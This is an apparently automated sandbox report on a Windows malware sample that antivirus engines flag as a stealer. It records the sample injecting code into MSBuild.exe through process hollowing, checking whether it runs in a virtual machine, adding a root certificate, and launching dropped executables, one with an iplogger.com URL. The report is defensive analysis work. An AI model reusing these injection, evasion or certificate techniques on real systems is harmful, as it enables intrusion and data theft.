RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft InfoPath MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft DCF MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft OneNote MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Groove MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OSM MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OSM UX MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared Setup Metadata MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Access Setup Metadata MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Lync MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Acrobat Reader DC MUI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 316 called NtSetContextThread to modify thread in remote process 2456
Process injection	Process 2596 called NtSetContextThread to modify thread in remote process 2856
NtSetContextThread June 29, 2023, 5:02 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4277216 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000023c process_identifier: 2456	1	0	0
NtSetContextThread June 29, 2023, 5:02 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4292686 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000228 process_identifier: 2856	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 316 resumed a thread in remote process 2456
Process injection	Process 2596 resumed a thread in remote process 2856
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x0000023c suspend_count: 1 process_identifier: 2456	1	0	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x00000228 suspend_count: 1 process_identifier: 2856	1	0	0

Detects Virtual Machines through their custom firmware (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation June 29, 2023, 5:02 p.m.	information_class: 76 (SystemFirmwareTableInformation)		3221225507	0

Detects VMWare through the in instruction feature (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ June 29, 2023, 5:02 p.m.	stacktrace: exception.instruction_r: ed e9 6c dc ff ff ae 15 d7 80 cd e3 ff d0 9c 68 exception.symbol: o4mc25elg66m9j2+0x4e2ca0 exception.instruction: in eax, dx exception.module: O4MC25ELG66M9J2.exe exception.exception_code: 0xc0000096 exception.offset: 5123232 exception.address: 0x1582ca0 registers.esp: 3274776 registers.edi: 20597567 registers.eax: 1447909480 registers.ebp: 18726912 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1	0	0

Generates some ICMP traffic

File has been identified by 21 AntiVirus engines on VirusTotal as malicious (21 events)

Elastic	malicious (high confidence)
Cylance	unsafe
Sangfor	Suspicious.Win32.Save.a
Cybereason	malicious.1d7e00
BitDefenderTheta	Gen:NN.ZemsilF.36270.4rX@aS8ckvgi
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/Kryptik.AJCZ
APEX	Malicious
Cynet	Malicious (score: 100)
Kaspersky	VHO:Trojan-Spy.MSIL.Stealer.gen
Rising	Malware.Obfus/MSIL@AI.83 (RDM.MSIL2:f/YV4iyEynyqo65tvxfOAQ)
Trapmine	malicious.moderate.ml.score
FireEye	Generic.mg.0afd8fcf4215d384
Ikarus	Trojan.Win32.Tiggre
ZoneAlarm	VHO:Trojan-Spy.MSIL.Stealer.gen
Microsoft	Program:Win32/Wacapew.C!ml
Google	Detected
Acronis	suspicious
SentinelOne	Static AI - Malicious PE
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_100% (W)

Executed a process and injected code into it, probably while unpacking (50 out of 55 events)

Time & API	Arguments	Status	Return
NtResumeThread June 29, 2023, 5:01 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 316	1	0
NtResumeThread June 29, 2023, 5:01 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 316	1	0
NtResumeThread June 29, 2023, 5:01 p.m.	thread_handle: 0x00000198 suspend_count: 1 process_identifier: 316	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x0000022c suspend_count: 1 process_identifier: 316	1	0
NtGetContextThread June 29, 2023, 5:02 p.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread June 29, 2023, 5:02 p.m.	thread_handle: 0x000000e0	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 316	1	0
CreateProcessInternalW June 29, 2023, 5:02 p.m.	thread_identifier: 2460 thread_handle: 0x0000023c process_identifier: 2456 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000240	1	1
NtGetContextThread June 29, 2023, 5:02 p.m.	thread_handle: 0x0000023c	1	0
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2456 region_size: 598016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000240	1	0
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $],~DMMMR5 MR5¯MR5M¦1 M¦1M¦1JMR5MM»MÀ0MÀ0MRichMPELidà#@¼àCP@ @[PÐüL8P @Pä.texto>@ `.rdata(PD@@.dataVpBZ@À.relocüLÐN@B base_address: 0x00400000 process_identifier: 2456 process_handle: 0x00000240	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: base_address: 0x00401000 process_identifier: 2456 process_handle: 0x00000240	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: base_address: 0x00465000 process_identifier: 2456 process_handle: 0x00000240	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: base_address: 0x00487000 process_identifier: 2456 process_handle: 0x00000240	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: base_address: 0x0048d000 process_identifier: 2456 process_handle: 0x00000240	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2456 process_handle: 0x00000240	1	1
NtSetContextThread June 29, 2023, 5:02 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4277216 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000023c process_identifier: 2456	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x0000023c suspend_count: 1 process_identifier: 2456	1	0
CreateProcessInternalW June 29, 2023, 5:02 p.m.	thread_identifier: 2600 thread_handle: 0x0000007c process_identifier: 2596 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\MI0E02BFFGA0HD4.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\MI0E02BFFGA0HD4.exe stack_pivoted: 0 creation_flags: 0 () inherit_handles: 0 process_handle: 0x00000080	1	1
CreateProcessInternalW June 29, 2023, 5:02 p.m.	thread_identifier: 2656 thread_handle: 0x00000110 process_identifier: 2652 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\O4MC25ELG66M9J2.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\O4MC25ELG66M9J2.exe stack_pivoted: 0 creation_flags: 0 () inherit_handles: 0 process_handle: 0x00000100	1	1
CreateProcessInternalW June 29, 2023, 5:02 p.m.	thread_identifier: 2736 thread_handle: 0x00000118 process_identifier: 2732 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\CBAFH1460LH2BDF.exe track: 1 command_line: https://iplogger.com/12waJ4 filepath_r: C:\Users\test22\AppData\Local\Temp\CBAFH1460LH2BDF.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000114	1	1
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2596	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2596	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x00000198 suspend_count: 1 process_identifier: 2596	1	0
CreateProcessInternalW June 29, 2023, 5:02 p.m.	thread_identifier: 2860 thread_handle: 0x00000228 process_identifier: 2856 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000022c	1	1
NtGetContextThread June 29, 2023, 5:02 p.m.	thread_handle: 0x00000228	1	0
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2856 region_size: 155648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000022c	1	0
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELY1r¾à0bN @ `@K @ H.textT` b `.rsrc d@@.reloc@ú@B base_address: 0x00400000 process_identifier: 2856 process_handle: 0x0000022c	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: base_address: 0x00402000 process_identifier: 2856 process_handle: 0x0000022c	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: base_address: 0x0041a000 process_identifier: 2856 process_handle: 0x0000022c	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: P0 base_address: 0x00424000 process_identifier: 2856 process_handle: 0x0000022c	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2856 process_handle: 0x0000022c	1	1
NtSetContextThread June 29, 2023, 5:02 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4292686 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000228 process_identifier: 2856	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x00000228 suspend_count: 1 process_identifier: 2856	1	0
NtGetContextThread June 29, 2023, 5:02 p.m.	thread_handle: 0xfffffffe	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x000000f8 suspend_count: 1 process_identifier: 2652	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x00000170 suspend_count: 1 process_identifier: 2652	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x000001a8 suspend_count: 1 process_identifier: 2652	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x00000344 suspend_count: 1 process_identifier: 2652	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x00000598 suspend_count: 1 process_identifier: 2652	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x00000000000000c4 suspend_count: 1 process_identifier: 2732	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x0000000000000138 suspend_count: 1 process_identifier: 2732	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x0000000000000174 suspend_count: 1 process_identifier: 2732	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x0000000000000554 suspend_count: 1 process_identifier: 2732	1	0
NtGetContextThread June 29, 2023, 5:02 p.m.	thread_handle: 0xfffffffffffffffe	1	0
NtGetContextThread June 29, 2023, 5:02 p.m.	thread_handle: 0xfffffffffffffffe	1	0
NtGetContextThread June 29, 2023, 5:02 p.m.	thread_handle: 0xfffffffffffffffe	1	0
NtGetContextThread June 29, 2023, 5:02 p.m.	thread_handle: 0xfffffffffffffffe	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2856	1	0
NtResumeThread June 29, 2023, 5:02 p.m.	thread_handle: 0x0000014c suspend_count: 1 process_identifier: 2856	1	0

Bar0628.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All